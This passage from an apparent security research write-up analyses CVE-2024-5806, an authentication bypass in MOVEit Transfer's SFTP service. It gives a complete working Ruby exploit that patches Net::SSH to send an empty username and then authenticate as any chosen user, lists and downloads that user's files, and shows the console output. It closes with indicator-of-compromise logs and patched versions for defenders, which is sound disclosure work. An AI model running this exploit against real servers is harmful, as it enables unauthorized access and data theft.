      string publicKeyFingerprint)
    {
      UserAuthResult publicKeyAuthResult = new UserAuthResult();
      switch (authResult)
      {
        case AuthenticationResult.Authenticated:
          publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session);
          publicKeyAuthResult.AuthResult = AuthResult.Success; // <--- [24]
          authContext.Session.HasAuthenticatedByPublicKey = true;
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;

Exploitation

As we learnt from our analysis, we need to manipulate a client-side SSH public key authentication request to transmit an empty username during the first step in public key authentication, and then we need to set an arbitrary username when generating and transmitting a signature in response to a USERAUTH_PK_OK message from the server.

We will leverage the open-source Ruby SFTP implementation Net::SFTP to build our exploit. Net::SFTP is built on top of the open-source Ruby SSH implementation Net::SSH. We can easily install these libraries into our environment via Gem:

gem install net-ssh
gem install net-sftp

If we investigate the Net::SSH implementation of how public key authentication works, we can see the following:

# .\net-ssh-master\lib\net\ssh\authentication\methods\publickey.rb

module Net
  module SSH
    module Authentication
      module Methods
        # Implements the "publickey" SSH authentication method.
        class Publickey < Abstract

          def authenticate_with_alg(identity, next_service, username, alg, sig_alg = nil)
            debug { "trying publickey (#{identity.fingerprint}) alg #{alg}" }
            send_request(identity, username, next_service, alg) # <--- [1]

            message = session.next_message

            case message.type
            when USERAUTH_PK_OK
              buffer = build_request(identity, username, next_service, alg,
                                     true) # <--- [2]
              sig_data = Net::SSH::Buffer.new
              sig_data.write_string(session_id)
              sig_data.append(buffer.to_s)

              sig_blob = key_manager.sign(identity, sig_data, sig_alg)

              send_request(identity, username, next_service, alg, sig_blob.to_s) # <--- [3]

We can see above in the authenticate_with_alg function, the public key is first transmitted to the server at [1], and a username is supplied with this request. If the server responds with USERAUTH_PK_OK, then a request containing the session id (generated by the server during the initial key exchange) at [2], is first signed using the identity (the public-private key pair we want to authenticate with), before being transmitted to the server at [3] — again a username is specified here. As the signed data is verified server-side, the username supplied at both [2] and [3] must match, but we can specify a different username at [1].

We can therefore trigger the vulnerability by supplying an non-existent username at [1], and then supplying the username we want to authenticate as, via the authentication bypass vulnerability, in [2] and [3].

We can leverage Ruby’s ability to monkey-patch code, and implement the auth bypass as follows:

require 'net/ssh'
require 'net/sftp'
require 'optparse'

module Net
  module SSH
    module Authentication
      module Methods
        module PublickeyHax
          def build_request(pub_key, username, next_service, alg, has_sig)
            # We trigger the vuln, by first requesting 'publickey' authentication
            # and supplying a non-existent username. The server will think certificate
            # based authentication has been successful, and transmit a USERAUTH_PK_OK
            # response. We then answer the USERAUTH_PK_OK response with a signed
            # request for the username we want to authenticate as, and signed with an
            # arbitrary untrusted RSA key. This will succeed and we will have achieved
            # an authentication bypass. An SFTP session will now be established for
            # the username we specified.
            username = '' unless has_sig
            super
          end
        end

        class Publickey
          prepend PublickeyHax
        end
      end
    end
  end
end

We must use an RSA key to perform signing during public key authentication. This key can be any private RSA key generated by the attacker.

# Any RSA key will work, we generated a small 512 bit key here for testing.
some_rsa_key = %(
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAJoPI1Lg5U9ZB1cri1Ss6vhqecXAS5ZxJUxvUWRQXOjmUX1a3P93
oqqzS13uPSrPNBK2isNs/JcH1vltL1l9l18CAwEAAQJAZwD8Eyu+5eCWodfBXqoG
qHU4WdmKMFoSIBrFhpacqDJVyUIQ7zTeMCmxtHM98ksIysaHmBKnavanFTx3xLQZ
kQIhAPhi/F1DPJmTthAlLNSGy394bKrEy/f8WyeDKDqIXisjAiEAnsf+Lk8Sxgl4
fnRggVhHvTcl3E95U/sGsT0cRqlNVJUCIQDFcPHINM00Cx2bAeH74lZasmA28o5s
RrYy12gf9wxb3wIgK5hpt7lKREmRZdb6MElW2SLtKEJB48cGnV9UBiqx6skCIC6A
7l/EqY2clj6/NH2xO+PYVbk935g+Im1jamDGHaXV
-----END RSA PRIVATE KEY-----
)

We will define two helper methods — one to recursively list a directory’s contents, and another to download an arbitrary file:

def read_file(sftp, remote_path, local_path = nil)
  $stdout.puts "[+] Reading remote file: #{remote_path}"

  sftp.open(remote_path) do |response|
    if response.ok?

      file_size = sftp.fstat!(response[:handle]).size

      sftp.read(response[:handle], 0, file_size) do |response|
        if response.ok?
          if local_path
            $stdout.puts "[+] Writing local file: #{local_path}"
            File.open(local_path, 'wb+') do |f|
              f.write(response[:data])
            end
          else
            $stdout.puts (response[:data]).to_s
          end
        end
      end
    else
      warn '[-] SFTP open failed (Is the remote file path correct?).'
    end

    sftp.close(response[:handle])
  end
end

def recurser_dir(sftp, base = '/')
  sftp.dir.glob(base, '*') do |entry|
    $stdout.puts entry.longname.gsub(entry.name, "#{base}#{entry.name}").to_s

    recurser_dir(sftp, "#{base}#{entry.name}/") if entry.directory?
  end
end

We will add in a command-line option parser to take some inputs from the user:

options = {
  target: nil,
  port: 22,
  user: nil,
  read_file_path: nil,
  write_file_path: nil
}

OptionParser.new do |opts|
  opts.banner = "Usage: #{File.basename(__FILE__)} [options]"

  opts.on('-t', '--target VALUE', 'Target IP') do |v|
    options[:target] = v
  end

  opts.on('-p', '--port VALUE', 'Target Port') do |v|
    options[:port] = v.to_i
  end

  opts.on('-u', '--user VALUE', 'Username') do |v|
    options[:user] = v
  end

  opts.on('-r', '--read FILEPATH', 'Read a remote file') do |v|
    options[:read_file_path] = v
  end

  opts.on('-o', '--out FILEPATH', 'Write to local file') do |v|
    options[:write_file_path] = v
  end
end.parse!

if options[:target].nil? || options[:user].nil?
  warn 'You must specify a target IP (-t IP) and a user account (-u USER)'
  return
end

And finally, we can trigger the authentication bypass, which allows us to either list directories or download files, after we successfully authenticate.

$stdout.puts "[+] Targeting: #{options[:user]}@#{options[:target]}:#{options[:port]}"

Net::SFTP.start(
  options[:target],
  options[:user],
  {
    port: options[:port],
    key_data: [some_rsa_key]
  }
) do |sftp|
  if options[:read_file_path]
    read_file(sftp, options[:read_file_path], options[:write_file_path])
  else
    recurser_dir(sftp)
  end
end

puts '[+] Finished.'

Our target MOVEit Transfer server was installed with default settings applied. We created a normal user with a username of testuser1 and a complex password.

Using our exploit, we can target a vulnerable system and leverage the authentication bypass to authenticate as a user called testuser1.

We can then demonstrate exploiting the vulnerability to successfully list all the files in this user’s home directory, and then to download one of the files we listed, as shown below:

C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1
[+] Targeting: testuser1@169.254.180.121:22
dr-xr-xr-x 1 0 0 0 Jun 18 18:41 /Home
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1
-rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt
[+] Finished.

C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1 -r /Home/testuser1/test.txt
[+] Targeting: testuser1@169.254.180.121:22
[+] Reading remote file: /Home/testuser1/test.txt
secrets!
[+] Finished.

IOCs

Upon successful exploitation of CVE-2024-5806, the log file C:\MOVEitTransfer\Logs\SftpServer.log, with the default log-level setting of Connect Messages, will contain an entry that looks like this:

2024-06-19 14:14:28.434 #0A z30 <0> (229369681687209268389) Log message from server: Received request for service ssh-userauth.
2024-06-19 14:14:28.449 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.469 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.474 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key validation successful but password is also required
2024-06-19 14:14:28.500 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.502 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user testuser1; continuing with user authentication process
2024-06-19 14:14:28.521 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Authentication successful

We can see above that the log contains the message:

User '' was denied authentication

Indicating an empty username was supplied, before the message:

Client key validation successful but password is also required

Which indicates the public key check was bypassed as a result of an non-existent username being supplied. And then:

already authenticated for user testuser1

Which indicated the attacker is leveraging the auth bypass to authenticate as a legitimate user, and then finally:

Authentication successful

Which indicates the attacker successfully exploited CVE-2024-5806 and authenticated as the user testuser1. No IP address for the attacker is logged.

Follow-on activity from the attacker will be logged and associated with the same SSH channel that was used during the auth bypass (229369681687209268389 in the example above). For example:

2024-06-19 14:14:28.543 #1C z30 <0> (229369681687209268389) Log message from server: Received open channel request for session service.
2024-06-19 14:14:28.558 #1C z30 <0> (229369681687209268389) Log message from server: Received channel request for subsystem sftp.
2024-06-19 14:14:28.574 #1C z30 <0> (229369681687209268389) Log message from server: Negotiated SFTP protocol draft version: 3
2024-06-19 14:14:28.590 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileOpenEventArgs ------
2024-06-19 14:14:28.605 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverGetAttributesEventArgs ------
2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileReadEventArgs ------
2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileCloseEventArgs ------
2024-06-19 14:14:28.636 #1C z30 <0> (229369681687209268389) FileCloseRequestHandler: Successfully completed download of file /Home/testuser1/test.txt
2024-06-19 14:14:28.683 #1C z30 <0> (229369681687209268389) Log message from server: SSH channel [229369681687209268389.0] closed.
2024-06-19 14:14:28.746 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverDisconnectedEventArgs ------

Indicates the attacker downloaded the file /Home/testuser1/test.txt.

An example of a failed auth bypass attempt is as follows. In this example an attacker attempted to use the auth bypass vulnerability to authenticate as the sysadmin user. However, this user has an “Remote Access Rule” in place to deny authentication from external IP addresses, causing the check at SILCurrentUser.AllowedAtHost to fail, preventing the auth bypass from working.

2024-06-19 14:21:17.792 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.808 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.814 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation successful but password is also required
2024-06-19 14:21:17.829 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.831 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user sysadmin; continuing with user authentication process
2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User 'sysadmin' DENIED ACCESS from 169.254.19.68
2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user sysadmin
2024-06-19 14:21:17.845 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key authentication failed
2024-06-19 14:21:17.855 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.857 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User '' DENIED ACCESS from 169.254.19.68
2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user 
2024-06-19 14:21:17.872 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation failed
2024-06-19 14:21:22.048 #19 z30 <0> (187224641687209677712) ------ Handling event type SftpserverDisconnectedEventArgs ------
2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server
2024-06-19 14:21:22.064 #17 z30 <0> Log message from server: SSH handshake failed: Encountered error while waiting for packet: remote end disconnected.
2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server

For a failed exploitation attempt, the attacker IP address was logged.

Remediation

As indicated in the vendor advisory, the following versions of MOVEit Transfer remediate CVE-2024-5806:

  • MOVEit Transfer 2023.0.11
  • MOVEit Transfer 2023.1.6
  • MOVEit Transfer 2024.0.2

Customers are urged to apply the vendor supplied update on an emergency basis.

References